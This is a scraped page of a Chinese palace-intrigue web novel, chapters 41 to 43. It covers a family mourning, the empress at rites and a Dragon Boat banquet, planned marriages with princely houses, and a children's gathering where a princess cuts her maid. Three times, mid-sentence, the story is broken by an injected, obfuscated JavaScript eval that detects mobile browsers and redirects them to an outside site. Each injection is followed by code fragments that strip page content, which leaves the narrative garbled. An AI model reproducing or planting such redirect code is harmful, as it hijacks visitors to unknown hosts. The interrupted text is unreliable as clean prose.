师焕沉默着点了点头。 看着三婶母和大哥走远,莞安才向婷欢和景安问道:“姑姑为什么不能出宫来看大伯母?” 景安道:“姑姑要忙着端午宫宴的事,如今还有半个月就是宫宴了,燕王、齐王和安王的家眷也都已经进京,都得是姑姑安排。朝臣全都盯着,万一出了岔子可是要被弹劾的。” “一个宫宴而已,耽误半日又有何妨?自从姑姑进了宫,这也不许那也不让。先前好容易陛下允许姑姑便衣出宫,又被人抓住弹劾,这宫规真是没情没理。” “莞安!”婷欢微微高声制止了妹妹,“宫规是太祖皇帝定下的,不是我们可以妄加评论的。” “大姐姐,我们是在自己家,又没有外人!”莞安不忿地噘嘴道,“我看你现在对我们的规矩比宫规还多,也不知道你是什么时候变成这样的,明明先前在慕州的时候你不是这样的。” “什么叫我不是这样,在慕州我是怎么样的?” “在慕州你带我们溜出门到江边放风筝、捉蜻蜓,去城外村子里看傩戏和皮影戏,还在学堂反驳先生的话,不肯背《女则》《女戒》,说要像男子一样学诗书上朝堂......怎么现在你和那《琵琶记》里的牛氏一个样子,像个供在庙里的泥塑木偶了!” 听着莞安越说越大声,景安急道:“师莞安!你瞎说些什么?”又对着妹妹沉声接着道:“京城又不比慕州,那时候我们只是楚王妃娘家的侄女,或者不过是失势的公主、郡主之女,若没有这些关系,我们直接就是罪臣之后,哪里有那么多人会盯着咱们。如今咱们家在外头是什么样子你又不是不知道,多少双眼睛紧盯着等着参咱们家一本,连下人都不敢稍有错漏。大姐姐已经够不容易了,若不是她在外头顶在我们前面周旋,哪还有你如今这么肆意妄为的日子,你却还要添乱。” 京城的日子是更尊贵,可尊贵也有代价。 甚至那代价才离开他们不远。 师莞安闻言低头,不敢再说。师景安又转过头去安慰师婷欢,婷欢却只是沉默,轻轻搭着妹妹的手示意,却也不再说话。 “可是姑姑是皇后,皇后不是全天下最尊贵的女子吗?”沉默间师幼芷道。 闻言,师景安也愣住,手还与师婷欢搭在一起,二人却双双紧盯着师幼芷说不出话。 “没有人是最尊贵的,只要人还在这世上,便注定要受到束缚。”端木婉自祠堂那几棵老榕树后走出来,眼神落到有些胆怯的师幼芷身上,像一条深秋蜿蜒在山间的冰凉的小河。她半蹲下身搂住师幼芷,却看着师莞安道:“我们只要生活在世上与人相处,便要遵循这世上的道理。小到兄弟姐妹间应当和睦友爱,大到不能触犯王法,都是一样的道理。同样,这世间也没有凭空而来的权力和地位。你们姑姑身在皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226156|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后之位,不必亲手劳动而能锦衣玉食,全赖天下人供养,自然要承受接受这些供养的代价,做好一个皇后的本分。” “什么是皇后的本分?”棠欢在一旁听了半天,从姐姐们的争吵开始就一直想张口却说不出话,又晕晕乎乎的听了些大道理,此时已经觉得整个头都像要开锅时候的笼屉,像是有蒸汽爆炸似的要往外挤。这会儿二伯母一来,整个人像一场小雨似的,淅淅沥沥却堙灭了旁的喧嚣,也叫她脑子里的燥热跟着销声匿迹,尽管她说的这一番话棠欢也基本没听懂什么。 端木婉笑了笑,揉了揉棠欢的头,却只道:“你还小呢,日后你就知道了。” 说着起身,叫旁边侍立的嬷嬷哄师棠欢和师幼桐去歇息,又带着婷欢等人和灵棚里守灵的师迟等一道也去吃些东西。 师琦跪在最后,呲牙咧嘴地起身,忍不住拖延着弯腰揉着僵硬的膝盖,被前面仍跪着的父亲师骁一个眼神镇住,忙不迭行礼随着哥哥们走了出去,直到混到姐妹间走到了后院才吐出一口气,拉着长姐师婷欢的手臂小声“哎唷”,却又被师玘一个白眼噤了声。 夜里近丑时,师霖示意袁例扶跪得摇摇欲坠的师焕下去休息,于是灵棚里便只剩下师霖师骁兄弟二人。 新刻好的牌位浓缩着一个生命,森然立在棺前的案上。师霖起身重新续上香火,侧身站立着微微活动了一下腿脚。师骁轻声道:“你也去睡会儿罢,过几个时辰再来替我。” 师霖淡淡笑了笑:“无妨。前些年给母亲和大哥二哥守灵,不也都是这么整晚整晚的。”他看着那牌位上萧晨的名字,叹道:“大嫂从前守灵时,也是整宿不肯歇息。她这些年来辛苦操持,病中也不能卸下重担,总是各种操心,还要担心小六......如今倒是可以好好歇一歇了。” 师骁颔首附和,道:“我只是担心焕哥儿。” 师晟去世,师焕年纪尚小,且生母尚在,如今却是实打实的成了无父无母的孤儿。萧晨虽常常忙于中馈,偶尔也会忽略师焕,后来为了叫师焕能独立,有时也会故意严厉甚至苛刻,好叫他不依赖于母亲。或者为了秉持公正,事事以旁人为先,好比倘若她得了一笼包子,倘若不够分,也是要先可着几个侄子侄女来,最后才是师焕,剩下的笼屉也得赠给某个弟妹,还要包教会她如何蒸出下一笼包子。也许她算不上慈母,但凡是她能教给师焕的,在短短十三年里毫无保留。 “便不说别的,只要她还在,那焕哥儿就不是孤儿。”如果她仍在世,就算来日师焕长大了因为什么而对母亲有所埋怨,也还有可以怨怼之人。 “焕哥儿还有我们。我必然会待他如亲子,与迟哥儿他们没有分别。” “我只怕到底我们是叔父,与他隔了一层,他若不肯交心也是正常的。” “我们又没有分家,虽然是叔父,但凡我在后院时,见了迟哥儿他们几面就见了焕哥儿几面,没有什么分别。这般一直生活在一起,与别人家后来过继的定是不同的。”师霖道,“无论如何,他是师家这一辈的长子,来日必然要接过承祧大任,延续基业,万万不可轻视。” 师骁愣了愣,抬头看向师霖,却只看见他隐匿在阴影里的半张侧脸,霎时烛光摇晃,一瞬间仿佛回到了十几年前,那时候棺材里躺着的是祖母赵霞云,而如此这般站在灵前的是师道旷。师骁自认为应当是伴在他身边最久之人,却还是说不清师霖是何时变成了师道旷。 这般愣神间,师霖的目光与萧晨灵前香火的亮光一道转过来望着他,师骁眼皮一跳,凑出来一个仓促尴尬的笑容附和。旋即又匆忙移开了一点眼神。 师霖只是沉默着回到他身侧的蒲团,重新跪好。 于祠堂停灵七日后,师骁带着师焕将萧晨的灵柩运回逢州祖坟安葬。他们赶在守城的士兵刚刚打开城门时出城,刚刚从草木上开始蒸发的露水将初夏的暑气压下,微凉的晨风伴着街巷的扫洒声,与鸟雀的叽喳一起,催着马车扬起尘埃。 这是萧晨最后一次在这段路上。 42. 第 42 章 五月初五一早,师冉月从榻上爬起来,先拿薛德保一早从井里打上来的还有些彻骨的凉水洗了一遍脸,强迫自己清醒过来,再坐到梳妆台前任由司饰摆弄,换上袆衣,早早到崇宁殿前等待端木玄一同去京郊宗庙祭拜端木氏先祖。 从戴上朝冠起,她便只能僵直着肩颈,半点不敢随意活动。头上纯金的凤凰衔着的一串串金珠随着步伐有规律地小幅晃动,这等精巧的手艺也只用在这顶自太祖昭仁皇后传下来的凤冠上了,是世人所赞叹的“栩栩如生”,压得她连与端木玄对视时都只能尽力抬起眼睑,而不敢昂头。 坐着仪车晃到京郊,麻木的脊背竟让她没有什么倦意。前前后后浩荡的仪仗队伍总有几千人,还有几百皇室宗亲、内外命妇,却只能听见礼乐声和衣环碰撞的声响,听不见一点闲杂人语。 于宗庙前下了仪车,再一步步领着内外命妇登上九十九级台阶,依序祭拜。 首先入宗庙的自然是端木玄和师冉月。 师冉月站得笔直,盯着端木玄的背影从从容容地叩拜、祷祝、上香、祈福,目光掠过层层叠叠的牌位,盯着上面一个个“端木”,忍不住勾起一点嘲讽的笑容,却又很快隐去,瞬了瞬目,恢复持重端庄的样子。 端木玄之后便是她。 过于厚重的袆衣和沉重繁琐的凤冠叫她不得不在跪拜等时候小心翼翼,动作也就比端木玄慢了许多。不过好在没有出什么岔子。起身的瞬间,目光经过位置靠下的端木昀的牌位,一点悲伤不由得漫过心底。她闭目轻轻吸了一口气,转身和端木玄一前一后出了宗庙。 重头戏完毕,师冉月瞬间就松懈了下来。余光看见端木葭和端木萌等迈入宗庙,她忍不住开始胡思乱想。端木萌一定也可以看见那些牌位的,武宗、昭献皇后、元宗、昭顷皇后,她又会做何感想呢?端木葭呢?远在岭南卿州从未再回过京城的端木菡,每年端午吃粽子观龙舟的时候,会不会想起少时的端午宫宴,还有京城宗庙里的这些人呢? 顶着升起的白花花的日头,思绪飘到千里之外,恍惚间似乎听见端木玄偏过头对她说了些什么,于是迷迷糊糊抬眼看过去。 端木玄无奈,穿过层层叠叠的宽大袖子,捏了捏她的手指试图叫她缓过神来,又稍稍提高了声音问道:“你不舒服吗?” “没。”师冉月不敢摇头,便也捏了捏他的手指。她自小有些气血不足,这般早起,又没有吃什么东西垫肚子,穿的又闷又热,搁平日里定是要恶心眩晕的,不过自从当了皇后之后每次有祭祖这样的事,她便总是绷紧了精神不敢又丝毫放松,似乎身体也跟着她的精神紧绷,顺从地不再闹腾。 不过等候仪式完成的时间还是很难熬。回去的路上,她又想起承祐年间的时候,端木萌在兄长的东宫为非作歹,他们这些人便也跟着。昔年唐烨跟随着岳诗君这般到郊外参加这些仪式的时候,她大概已经在东宫开始喝冰酿了。 “哎——” “怎么了娘娘?” 总算回到坤宁殿,脱去袆衣摘下凤冠就仿佛卸下了裹在身上的铁壳子。师冉月忍不住直接躺在廊下的躺椅上,叫木莲来揉着被凤冠压痛的头,再喝两口冰过的茶,舒服地喟叹。 “往事不可追啊。” 音儿闻言笑了,一边往师冉月嘴里塞了个桃花糕,一边道:“姑娘想追什么往事了?” 师冉月也不卖关子,把桃花糕嚼了嚼咽下肚,与音儿一同说起她当年跟着端木萌如何在东宫胡闹,又道:“过几年玦儿长大了,到东宫去住,兴许也会有一帮孩子像我们当年那般胡作非为,恨不得上房揭瓦呢。不对——玦儿现在还没有像云姝那样的妹妹,含儿那孩子可乖得很。” 音儿道:“我看哪,来日鸡犬不宁的倒不一定是东宫,兴许是大皇子的府邸呢。” “哦哦也对。”提起端木城,师冉月也是忍不住地摇头,“这孩子也不知道是和谁学的,明明绵姐姐那么温柔的一个人。不过今日祭祖时他倒是很规矩,颇有个‘大皇子’的样子了。” 说了一会子话,吴怀安便来道:“娘娘,是时候该换衣裳去宫宴了。” 师冉月忍不住哀叹一声,被木莲和春桃一左一右扶起来,回到殿内换上早早为宫宴准备好的紫蒲色衣裙,木槿色的披帛绵软轻盈,像夕颜花的藤蔓缠绕在臂间。 这次宫宴,师冉月着意选了低调亲和的衣饰,一则私心想要轻巧便利些,二则此次宴请的主要对象无疑是燕王、齐王和安王及其内眷,这三位藩王中,只有安王端木崇比端木玄还要年轻一岁,其余二位都是年长他的堂兄,且齐王和燕王都是穆宗皇帝的兄弟之后,恰恰是藩王中既靠近皇族核心又德高望重的存在,按着端木玄与师冉月商议的计划,先要放低姿态以显亲和谦逊,叫人放松警惕,才好再做筹谋。 吃了一碗音儿亲自下厨的鲜鱼面垫肚子,师冉月提起精神,先至崇宁殿配殿等候端木玄,再与他一同进殿入座。 “陛下万岁万岁万万岁,娘娘千岁千岁千千岁。” 早在半个时辰前就已经依序落座的世爵与朝臣命妇等如潮起潮落般起身行礼。能有资格入大殿赴宴的都是三品及以上官员和夫人,不过比起紧坐在帝后下首左右的皇亲来说也是陪衬。 紧挨着端木玄和师冉月左右的分别是贵妃林绵和昭仪徐聆雨,再往下依着年龄次序,便是燕王端木敬和燕王妃秦氏、齐王端木尹和齐王妃欧阳氏,陇西王端木齐与陇西王妃王氏,安王端木崇与安王妃荆氏,还有闽中王端木阳与侧妃宋滢。而后是怀宁长公主端木葭独坐一桌,之后便是端木萌和师霖,旁边便是师骁和张雁,以他们为首往下便是诸位朝臣和外命妇了。 端木玄宣布开宴,穿着一水儿西子青色衣衫的宫女游鱼一般上菜,而后自屏风后传出丝竹声,十六条杨妃粉的石榴裙自屏风后云步划出,水袖似淡粉的火烧云飘起在殿中,卷起叮当的编钟声盘旋。 崇宁殿大宴上没有未婚的男女,因此也没什么小儿女的情愫暗流涌动,取而代之的是隐藏在应酬往来中利益的流转和话语间的试探。不过到底端木玄坐在上头,下面结党营私便也不敢太过放肆。 师冉月举起琉璃酒盏,跟着端木玄一同主动向各个藩王敬酒。 一个月前端木玄才将端木齐和端木阳的郡王位升为王位,却还是将他们留在京城的府邸而非外赴封地。宋滢为此曾找过端木萌,希望她在帝后面前美言几句,请求让端木阳离开京城。端木萌也只是含糊一二敷衍过去。如今二人被端木玄像吉祥物一样摆在京城,在这宫宴上虽坐的靠前却也是陪衬,还要装出笑来举杯应和,到底是端木萌同父异母的兄长,心下也有些不忍,却还是在看到师冉月警告的眼神时咽下不谈。 “怎么不见燕王世子与世子夫人?” “啊。”燕王妃秦氏忙笑着应道:“儿媳上个月不甚小产了,身体抱恙,为保万全,犬子便也留在王府照料。臣妾在此为他们二人给陛下和娘娘赔个不是。”说着起身,举起酒盏向端木玄和师冉月致意,满饮了一杯。 师冉月微微笑了笑,尚未开口,却是徐聆雨在一旁幽幽道:“燕王妃倒是豪爽,却不知为何当初宫中宣旨的内侍到涯州接引时未曾告知,徒留皇后娘娘疑惑担心。世子夫人小产也不是什么不好开口的缘由罢?” “这......”秦氏的手僵在半空,一时有些不知所措。燕王端木敬连忙也起身,向端木玄行礼道:“陛下,此事确实是我们疏忽了,害得皇后娘娘挂心,还请恕罪。” 师冉月笑道:“王兄和王嫂不必紧张,这又不是什么大事,本宫也只是没有看见世子和夫人,随口一提罢了。二位快请坐。” 二人道谢坐下。 徐聆雨又道:“既如此,不如待世子夫人养好身子后与世子一同进京来罢,也好亲自向娘娘赔礼。听说世子夫人是宛城人,宛城与京城离得近,风土也相似,不似涯州苦寒,兴许世子夫人来了京城,身子养的更快呢。” 秦氏愣了愣,转头看向师冉月,却见师冉月只是微笑着端详她,忙拉着端木敬道:“昭仪娘娘说的有理。待王爷与臣妾回涯州,便叫他们二人来京城给娘娘赔罪。” 师冉月这才又举起酒盏,道:“无妨无妨,王嫂何必一口一个‘赔罪’、‘赔礼’的,原都是一家人,没的生分了。” 齐王妃欧阳氏也跟着笑道:“臣妾长子如今也在京中,他与燕王世子年纪相仿,彼时他们兄弟也能作伴了。” 林绵问道:“本宫记得似是齐王世子比燕王世子小上一些?” “是,我家洪儿比燕王世子小上三岁。贵妃娘娘记性真好。” “世子尚未娶亲吧?”宋滢看向欧阳氏,问道。 “是未娶亲。这孩子闷头读书惯了,不懂得讨姑娘家喜欢,没人看得上他。” “王妃真是说笑了,怎会有人挑剔世子。若是芜郡找不到世子夫人,正好如今进京了,就说今日勤德殿,便有数不清的好姑娘。”没有婚配的少年男女仍是赴东宫宴,不过如今端木玦年纪尚小,便由端木城代他于东宫勤德殿配殿主持宴饮。端木洪自是应在彼处赴宴。 “勤德殿的都是京城数一数二的大家闺秀,恐怕是更看不上洪儿那个傻小子了。” 其余几人也掺和进来闲聊,欧阳氏又是个聪明有趣的,从不叫话落到地上,你来我往的,气氛便融洽了不少。一来二去,话题也从燕王世子端木柏和端木洪身上绕开了。 夜深,笙鼓渐歇,宫宴遂止。 师冉月拖着步子回到坤宁殿,哄着因为阖宫上下异常的欢愉而有些过于兴奋的端木玦睡着,才终于坐到妆台前得以卸妆梳洗。换上轻薄的绸缎中衣的那一刻,她只觉得浑身上下都松快了起来,仿佛四肢是搁浅的鱼终于回到了海里喝足了水。 音儿帮她将琐碎的钗环卸下来,洗过头后,又用木梳蘸着栀子油轻轻梳了几个来回。 师冉月已经困得要睁不开眼,抓了抓音儿的手,打着哈欠道:“音儿,不必管我了,你也快去睡罢。” “没事姑娘,方才宫宴时春桃和木莲一直侍奉着,我倒在一旁偷了好一会儿懒。我在这儿陪姑娘等到陛下过来。” “近黛方才说他有事要回清和殿,今晚过不过来都不一定了。”师冉月又打了个哈欠,夺过梳子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226157|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在案上,也不顾音儿,转身便往榻上扑去。音儿只好笑着替她掖了掖被,放下床帏,又四下看了一番窗子,便吹熄了灯退了出去,交代了廊下守夜的小宫女几句话,便自己回了房间。 师冉月屏气听着音儿的动静渐渐停了,自己倒睁开眼仰躺在榻上,只觉得裹在锦被里的全身都困乏,头脑却莫名其妙的清醒,闭眼酝酿了一会子睡意,却横竖睡不着,脑子里走马灯一样过着今日宫宴上的情形,想停也停不下来,就干脆只睁着眼望天,又后悔起早早把音儿赶走了。 不多时却听见院子里传来声响,半抬起身子望过去,隔着窗子也是一片明晃晃的宫灯影子,便知道是端木玄过来了。 守夜的宫女手忙脚乱地起身行礼,师冉月却转身朝里,闭着眼睛装睡。 端木玄在殿外将随从屏退,自己放轻脚步走到榻前,心知她是在装睡,也不拆破,自己换上备在坤宁殿的中衣,钻进她的被子搂住她的腰,手指轻轻揉捏着她肚子和腰侧的软肉。师冉月皱眉咬牙忍了一会儿,终于按耐不住,伸手拿走他四处作妖的手,道:“你做什么!大半夜的来,还许不许人睡觉了。” 端木玄轻笑,却用胳膊箍住她的腰,道:“有事要说,过会儿再睡。左右明日无事,我已经叫人吩咐下去不许打扰你,你想睡到几时就睡到几时。” 又接着道:“我打算,将燕王的小女儿许配给你家。” 师冉月一下子来了精神,精神中又有些无奈,“燕王的小女儿,和宁郡主吗?”燕王侧妃和侍妾无数,庶子庶女也多的压根数不过来,但正妃秦氏只有两个亲生的孩子,一个是白日里提到的世子端木柏,另一个便是年方八岁的和宁郡主端木槿。这个女儿是秦氏三十三岁时才有的,得来不易,宝贝得很。 端木玄点点头,道:“另外再许你家一个女儿嫁给齐王的次子端木澈。” 师冉月睁目,蓦然想到承祐十年端木萌和端木婉连着嫁进师家的事,皱了眉,直直问道:“你要做什么,莫不是要效仿武宗皇帝?” 端木玄无奈笑道:“怎会,何况我若真想那么做,不是一下子就被你识破了。我要将他们与京城联系起来,总不能拿我这几个姓端木的孩子去联姻罢?” 师冉月忍不住腹诽全天下大概只有端木玄会这样看待自己的孩子——与他是不是皇帝并没有什么关系,只道:“京城的名门望族也不止师家这一家。” 端木玄没有说话,只是盯着她的双眼,像是黑夜里准备猎取猎物的鹰。没多时,师冉月败下阵来,想了想道:“不妨叫孩子们先在一块玩玩,看看谁合眼缘。我三哥三嫂也是因为青梅竹马,昭献皇后才赐婚的。免得因为你的谋划平白耽误了谁一辈子。” “行,不急。” “赐婚?”端木萌震惊道。 “是。瞧着陛下已经有了主意,不过是通知我一声,我也不好辩驳。不过先叫他们见面,在一起玩过,问问他们的意思,也不算盲婚哑嫁了。” 端木萌忍不住叹气:“也罢,反正生在我们这样的人家能婚嫁由己也是不易。齐王兄那个次子我是见过的,今年应当是九岁了,生得倒清俊,颇像齐王妃。只是有些温吞,不像他母亲那么活泛,兴许是像了他父亲了。” “齐王次子的确是个不错的人选,齐王府只有他和世子这两个孩子,人口也简单。其实陛下与我说,他本意是想给齐王世子端木洪在京城找一个世子夫人的,奈何婷欢才十二岁,官成澈和官成潜也没有岁数相当的女儿,这才罢了。” “齐王府是好,那燕王府可不是个什么好去处。”端木萌道。 “是燕王府把女儿嫁出来,又不是家里的孩子到燕王府去,这倒不必担忧。” “只是端木槿那孩子被燕王妃娇惯的有些跋扈......” 师冉月闻言笑了,“想不到我这辈子竟还能从你嘴里听到别人‘跋扈’,也是此生无憾了。”因着少时端木萌自己素来才是普天下最嚣张跋扈的那一个,未出嫁时满宫里的人没有不顺从惧怕她的,若不是岳皇后还能管着她些,恐怕崇宁殿的瓦都能叫她揭下来。事实上她十二岁时为了看司天监说的“扫把星”已经碰碎了清和殿房顶的瓦,因为清和殿比坤宁殿更高些,“离星星更近”,否则遭殃的就是坤宁殿了。因而遇到同样嚣张跋扈肆意妄为的那些世族子弟,只要不是作践人的,她都觉得投机,乖顺听话的则被她批为死板。 端木萌却只一味地叹气,认真道:“说真的,这孩子性子不是一般的乖张。在燕王府从来说一不二,恐怕师家庙小,容不下这尊大佛。” “再怎么着她还能压得过你吗?若她当真如你说的那般到了磋磨人的地步,燕王府有人惯她,师家却没有。你不单单是她长辈,还是长公主,论国法论家规都压她一头,放心好了。” “但愿......”端木萌琢磨了一番,道:“我过几日便以阳曲侯夫人和长公主的名义,邀她们到侯府。” “若是,”师冉月想了想,还是道:“若是孩子们当真都不愿意,那便也罢了,我总能找到理由回绝陛下,莫要强迫了谁。” “这你放心。” 43. 第 43 章 燕王、齐王和安王原本定的五月十二便要离开京城,因此端木萌三下五除二,初七下了请帖,将宴会定在了初九,只请了三位王妃并十岁的安王世子端木琭、九岁的齐王次子端木澈和八岁的和宁郡主端木槿,另外请了几个要好的夫人作陪。 前些年无人照看,望潮阁旁的梅树大多枯萎了,于是前年端木萌便叫人拔了,移植了几棵山桃花树来,又在旁边的子规廊下种了紫藤,爬到廊上的木架上。如今这个时节花倒是都谢了,只剩一片郁郁葱葱的绿浪,站在望潮阁上往下望去到处青翠欲滴,也是赏心悦目。 端木萌叫人设宴于楼上,又在子规廊内摆了矮桌,上面摆了香糖果子,供孩子们当零嘴,还放了笔墨纸砚以及插花点茶的各种器具和皮影等玩具,自觉煞费苦心。这一带离安居堂也有些距离,倒是不会吵到师焕。 今日为了叫孩子们玩得不受拘束,端木萌特意吩咐奶娘丫鬟们都只远远看着,莫要靠的太近,又怕棠欢和幼桐两个太小掉到池子里,便叫奶娘抱着她们两个单独在西侧院玩儿。 先前端木澈等人刚入门时被大人们领着彼此见过礼,如今周围没了长辈,反倒更没话说,彼此都拘束起来。莞安一手拉着景安的袖子,一手拉着婷欢的袖子,悄悄看着端木槿叫随身跟着的看上去也就十来岁的小丫鬟给她倒茶扇扇子。 师玘向师婷欢道:“大姐姐,不如我与二哥他们带着世子他们到骑射场去罢,成叔他们在那里,不会有什么岔子。” 婷欢点了点头,只嘱咐道:“你去叫人跟母亲她们说一声。”随即便主动走到端木槿身边坐下,笑着问道:“郡主初来京城,不知道你喜欢吃些什么、玩些什么?”她听过母亲对端木槿的描述,已经做好被甩脸子或者怎样的准备,却没曾想端木槿见她先过来搭话,倒像是骤然放松下来,道:“我才来这几日,除了进宫便是呆在驿馆,倒没吃到什么京城特色,不过我原先以为京城有多大多豪奢,如今看来豪奢是有,却不如我们涯州辽阔。” 景安微微笑道:“涯州地处平原,往北就是漠北草原,视野辽阔是自然的。” 端木槿嘟嘴道:“不过我以为京城会有更多戏听的,可惜我母妃不许我出驿馆。” “戏?” “是啊,傩戏、傀儡戏、南戏、皮影戏、杂剧,还有说书的,这些北方都少。”说着突然来了兴致,从凳上跳起来道:“表姐,你们有没有戏服?” “戏服?”婷欢讶然,这才注意到端木槿的发髻似乎也是仿着戏台上花木兰“当窗理云鬓,对镜贴花黄”那一场惯常的扮相梳的,又立即道:“我们没有,不过郡主若是喜欢听说书,京城茶楼中的说书先生都很不错,兴许离京前可以去听一听。” 听说了“没有”,端木槿又蓦地蔫了下去,一下子坐回小凳上,拂袖间将旁边丫鬟刚倒好的滚烫的茶碰倒,茶杯霎时摔碎在地,茶水四溅,竟波及了端木槿、师婷欢、师景安三件衣裳。师婷欢顾不上自己,忙拉着端木槿远离茶杯碎片,问道:“郡主可有烫到?” 一旁候着的师家的婆子和丫鬟忙上来打扫,端木槿带着的那个小丫鬟却直接跪在了地上,不断磕着头道“郡主恕罪”。 端木槿对师婷欢摆了摆手,却蹲到那丫鬟身前,捏着她的下巴,眯眼道:“叫你跟着侍奉,却一点眼力都没有,要你有什么用?”说着竟又起身,拦住要将碎瓷片端下去的婆子,从中挑了一块锋利的,不及众人反应,已经在那丫鬟手上亲手划了个一掌长的口子,登时鲜血直流。那丫鬟满脸是泪,却咬着唇不敢吭声。师莞安急了,猛地绕开两个姐姐将那丫鬟从地上拉起来,用手帕捂着她的伤口,道:“哪有你这么欺负人的,明明是你自己弄倒的茶杯,怪她做什么!”又叫旁边的婆子:“还不拿些止血的药来!” 端木槿却瞪眼道:“这是我的丫鬟,自然按我的规矩来。三表姐,你莫要多事。” 又看向那丫鬟,勾唇道:“怎么,你是想留在阳曲侯府?” 那丫鬟浑身颤抖,却忙离开师莞安身边,又跪在端木槿身前道:“奴婢不敢,奴婢但凭郡主处置。” 莞安又要说什么,却被景安拉到身后。婷欢拉着端木槿道:“丫鬟不合心意,换一个便是了。今日咱们这么多人,也用不着她在身边侍奉。我家弟弟们和世子他们如今应该都在骑射场,不如我们也一同过去罢?”又一边使眼色,叫婆子将那丫鬟带下去处理伤口。 那丫鬟被婆子半搀半拽地下去,还不住地回头看向端木槿。端木槿显然也注意到她的动作,薄而锋利的嘴角勾起,明明没有涂唇脂,却仍然艳丽的像曼陀罗。她亲昵地挽起师婷欢的手,道:“看在表姐的面子上,便饶她一次。” 婷欢笑得有些牵强,微微别过头,只道:“我们快去骑射场那边罢。” 莞安走在端木槿身后,对着她比自己矮半头的背影不住地翻白眼。景安拍了拍她的手,无声笑了笑,又拉过跟在后面一直沉默的幼芷一起走着。 骑射场上已经尘土飞扬,若不是没有锣鼓喧天,只怕叫人以为今年的围猎会要在阳曲侯府举办。 端木琭、端木澈再加上师迟、师玘、师言、师琦四个,也算热闹。不过端木琭仅仅摸了摸弓箭,便推说不会,只坐到台上看着。端木澈却加入到师家兄弟四人中,挑了一匹赤色的马驹儿利落地翻身上马,玩得不亦乐乎。他虽年纪小些,却并不见胆怯,偶尔似乎马儿要脱缰似的飞奔,或是一个急转要被甩到地上,他也仍旧镇定自若,甚至还能在师玘的帮助下尝试着撒开缰绳搭弓。 师迟一上了自己的马就完全忘我,也顾不上什么客人或是场合,一派意气风发的样子,肖似父亲的一双桃花眼神采飞扬,像海边展翅的鸥鸟的翅膀。原本背后还系了一件银色的薄披风,也嫌束缚了动作,骑在马上就单手解下来扔给不远处的侍从。 师琦也不甘落后,虽然年纪小些,但他是唯一一个能成日里缠着父亲师骁去马场的,也是小辈中唯一一个去过军中大营的,因此在外时也常不屑于其他侯门子弟,觉得他们大多只是花拳绣腿罢了。 师言今日有些兴致缺缺,骑着自己的马围着马场转了两圈,便下场找端木琭攀谈,叫人再拿来些茶水果子。 端木琭见他过来,温和笑道:“四公子不必顾忌我,我独自在这里观赏各位英姿也是好的。” 师言笑道:“那我得给世子赔罪了。我倒不是为了陪世子解闷,只是今日有些头晕,不能骑马了。”上挑的眼尾随着笑意微微眯起,像狐狸竖起的耳朵尖。 端木琭便也点头笑了笑,看向场中肆意飞驰的师迟和师琦,道:“二公子和五公子平日里也是这样么?” “是这样。二哥年长,经验也丰富。五弟的马术是我四叔亲自传授的,他又常常随着四叔去军营,甚至与年轻的将士们同场比试,甚少落在下风。”师言这话并没有可以谦虚,甚至蓄意夸张了几分。 “这般年少,中原子弟不比北方游牧民族自小长在马背上,单单骑马这一项做得好的也没有几个,更不要说能松开缰绳搭弓引箭了,便是这等胆识也不多见。”端木琭赞许道,看向马场的眼中似乎流露出一些向往,又忍不住感慨道:“真快活。” 师言正看着端木琭,听了这句似是肺腑之言的感慨,脑中却有些空白,一时不知道说什么好。端木琭却转头笑了笑,低头端起茶杯喝了口茶,而后又看向马场上的端木澈,道:“我自小体弱,母妃担心,便不许我学这些了。” 师言这才反应过来,有些磕巴道:“王妃也是慈母之心。” 端木琭浅笑着道:“你说话怎么像学堂里的老先生。” 师言无言以对,却仍默默打量着端木琭看向马场的眼神,自己拿了一块喜欢的绿豆桃花糕慢慢嚼着。 这会子婷欢携着端木槿与妹妹们也走到看台上,想着端木萌的叮咛,也不与端木琭和师言分席,坐到一堆搭话凑趣。她眼看着师迟又像中毒了似的与师琦两个发疯似的跑马,似乎自家这点场地已经不够他们俩发挥,一股火气便从心底往上窜,却碍于今日端木槿在场,不好发作,只得把快要冲破喉咙的话又使劲儿咽了回去,心下想着待送走了客再找他二人“算账”。 端木槿到似乎被场上的热闹吸引住了。婷欢原本还怕她嫌尘土飞扬,见她看得入神,也稍稍放下心来。景安微微笑着,安抚地抚了抚她的手臂。 莞安却仍对端木槿“虎视眈眈”,开口道:“郡主生在边关塞北涯州,想来自幼也该耳濡目染,应该也会骑射罢?” 端木槿却斜眼看过来,讥笑般道:“三表姐的意思是,从小看见兵马就该会骑射,那看见鸟儿是不是就该会在天上飞,看见鱼是不是就该会在水里游?” “你!”莞安再次哑口无言。景安却拽了她一把,眼神如深秋的井水一样冰冷地看向她。莞安自知是这次是自己先挑起事端,理亏不语,却仍不服输地瞪着端木槿。 见妹妹安分下来,景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226158|197566||http|test|mini|href|location''.split(''|''),0,{})); () { 